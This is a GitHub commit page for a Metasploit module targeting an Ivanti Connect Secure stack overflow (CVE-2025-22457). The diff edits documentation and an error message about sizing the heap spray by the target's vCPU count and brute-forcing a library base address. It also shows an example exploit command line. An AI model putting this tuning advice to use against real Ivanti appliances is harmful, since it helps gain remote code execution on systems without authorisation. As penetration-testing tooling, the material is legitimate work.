Skip to content

Commit 365caab

Browse files
Update the error message in case of Broken pipe error and update the documentation
1 parent 3d12183 commit 365caab

File tree

2 files changed

+18
-3
lines changed

2 files changed

+18
-3
lines changed

documentation/modules/exploit/linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457.md

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,18 @@ The number of `/home/bin/web` child processes the server uses. It's been
4141
observed that the number of children the main process forks is directly related
4242
to the number of vCPUs used by the system. Ivanti recommends having 4 vCPUs, so
4343
the default number of children is set to 4.
44+
Note that this option should be set properly, since the exploit needs to send enough
45+
spray patterns to fill the memory of each child process. This is mandatory,
46+
since we don’t control which child process will be used to trigger the
47+
vulnerability. If we send too much data, the process memory will overflow and
48+
the process will crash. A `Broken pipe` socket error will happen in this case.
49+
So, if the number of `WEB_CHILDREN` is too low (< vCPUs), we might not send
50+
enough data to fill the memory of every child process and the exploit would
51+
likely fail. This scenario cannot be detected since the child processes should
52+
not crash. The module will simply continue to brute force with a different base
53+
address of `libdsplibs`, without detecting the real issue. On the other hand,
54+
if we send too much data, the child processes will crash and we will need to
55+
start everything again with a lower `WEB_CHILDREN` value.
4456

4557
### LIBDSPLIBS_ADDRESS
4658
The base address of libdsplibs that the module will start with when brute
@@ -57,7 +69,7 @@ The number of attempts to brute force the base address of libdsplibs (default: 2
5769

5870
### Ivanti Connect Secure version 22.7r2.4 b3597
5971

60-
In this example, the address of libdsplibs is known to speed up the process (0xf64c1000). Also, we know the target system runs with 2 vCPU's.
72+
In this example, the address of libdsplibs is known to speed up the process (0xf64c1000). Also, we know the target system runs with 2 vCPUs.
6173

6274
```
6375
msf6 exploit(linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457) > exploit verbose=true lhost=192.168.222.97 rhosts=192.168.222.222 libdsplibs_address=0xf64c1000 web_children=2

modules/exploits/linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,7 @@ def initialize(info = {})
7575
)
7676
)
7777

78-
register_advanced_options(
78+
register_options(
7979
[
8080
OptInt.new('MAX_THREADS', [true, 'Max threads to use when spraying', 32]),
8181
OptInt.new('WEB_CHILDREN', [true, 'The number of /home/bin/web child processes', 4]),
@@ -301,7 +301,10 @@ def spray(libdsplibs_base)
301301

302302
s.write(ift_body)
303303
rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e
304-
print_error("Error while writing the socket (you might have a too high WEB_CHILDREN value): #{e}")
304+
print_error("Error while writing the socket: #{e}")
305+
print_error('This is likely because the `WEB_CHILDREN` option is too high and one of the'\
306+
'web child crashed. This needs to match the number of vCPUs of the target, '\
307+
'since the number of child process matched the number of vCPUs.')
305308
end
306309
end
307310
end

0 commit comments

Comments
 (0)